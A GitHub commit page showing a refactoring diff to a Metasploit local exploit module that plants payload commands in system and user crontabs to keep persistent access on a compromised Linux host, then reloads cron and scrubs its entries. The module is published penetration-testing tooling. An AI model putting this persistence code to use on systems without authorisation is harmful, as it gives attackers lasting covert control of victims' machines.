Skip to content

Commit 33ce3ec

Browse files
author
h00die
committed
fixes round 2
1 parent 35e3fb3 commit 33ce3ec

File tree

1 file changed

+18
-19
lines changed

1 file changed

+18
-19
lines changed

modules/exploits/linux/local/cron_persistence.rb

Lines changed: 18 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
require 'msf/core/post/file'
8-
96
class MetasploitModule < Msf::Exploit::Local
107
Rank = ExcellentRanking
118

@@ -31,15 +28,15 @@ def initialize(info = {})
3128
'Platform' => ['unix', 'linux'],
3229
'Targets' =>
3330
[
34-
[ 'Cron', { 'path' => '/etc/cron.d' } ],
35-
[ 'User Crontab', { 'path' => '/var/spool/cron' } ],
36-
[ 'System Crontab', { 'path' => '/etc' } ]
31+
[ 'Cron', { :path => '/etc/cron.d' } ],
32+
[ 'User Crontab', { :path => '/var/spool/cron' } ],
33+
[ 'System Crontab', { :path => '/etc' } ]
3734
],
3835
'DefaultTarget' => 1,
3936
'Arch' => ARCH_CMD,
4037
'Payload' =>
4138
{
42-
'BadChars' => "#%\x10\x13", # % always seems to fail, # is for comments
39+
'BadChars' => "#%\x10\x13", # is for comments, % is for newline
4340
'Compat' =>
4441
{
4542
'PayloadType' => 'cmd',
@@ -68,11 +65,11 @@ def exploit
6865
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
6966
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
7067
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
71-
unless datastore['TIMING'] =~ %r{#{cron_regex}}
68+
unless datastore['TIMING'] =~ /#{cron_regex}/
7269
fail_with(Failure::BadConfig, 'Invalid timing format')
7370
end
7471
cron_entry = datastore['TIMING']
75-
if target.name =~ /User Crontab/
72+
if target.name.include? 'User Crontab'
7673
unless user_cron_permission?(datastore['USERNAME'])
7774
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
7875
end
@@ -84,32 +81,34 @@ def exploit
8481
case target.name
8582
when 'Cron'
8683
our_entry = Rex::Text.rand_text_alpha(10)
87-
write_file(target.opts['path'] + "/#{our_entry}", "#{cron_entry}\n")
88-
vprint_good("Writing #{cron_entry} to #{target.opts['path']}/#{our_entry}")
84+
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
85+
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
8986
if datastore['CLEANUP']
90-
register_file_for_cleanup("#{target.opts['path']}/#{our_entry}")
87+
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
9188
end
9289
when 'System Crontab'
93-
file_to_clean = "#{target.opts['path']}/crontab"
90+
file_to_clean = "#{target.opts[:path]}/crontab"
9491
append_file(file_to_clean, "\n#{cron_entry}\n")
9592
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
9693
when 'User Crontab'
97-
file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['USERNAME']}"
94+
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
9895
append_file(file_to_clean, "\n#{cron_entry}\n")
9996
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
100-
# at least on ubuntu, we need to restart cron to get this to work
97+
# at least on ubuntu, we need to reload cron to get this to work
10198
vprint_status('Reloading cron to pickup new entry')
102-
cmd_exec("service cron restart")
99+
cmd_exec("service cron reload")
103100
end
104101
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
105-
sleep(datastore['WfsDelay'].to_i)
102+
Rex.sleep(datastore['WfsDelay'].to_i)
106103
# we may need to do some cleanup, no need for cron since that uses file dropper
107104
# we could run this on a on_successful_session, but we want cleanup even if it fails
108105
if file_to_clean && flag && datastore['CLEANUP']
109106
print_status("Removing our cron entry from #{file_to_clean}")
110-
cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}")
107+
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
108+
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
109+
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
111110
if target.name == 'User Crontab' # make sure we clean out of memory
112-
cmd_exec("service cron restart")
111+
cmd_exec("service cron reload")
113112
end
114113
end
115114
end

0 commit comments

Comments
 (0)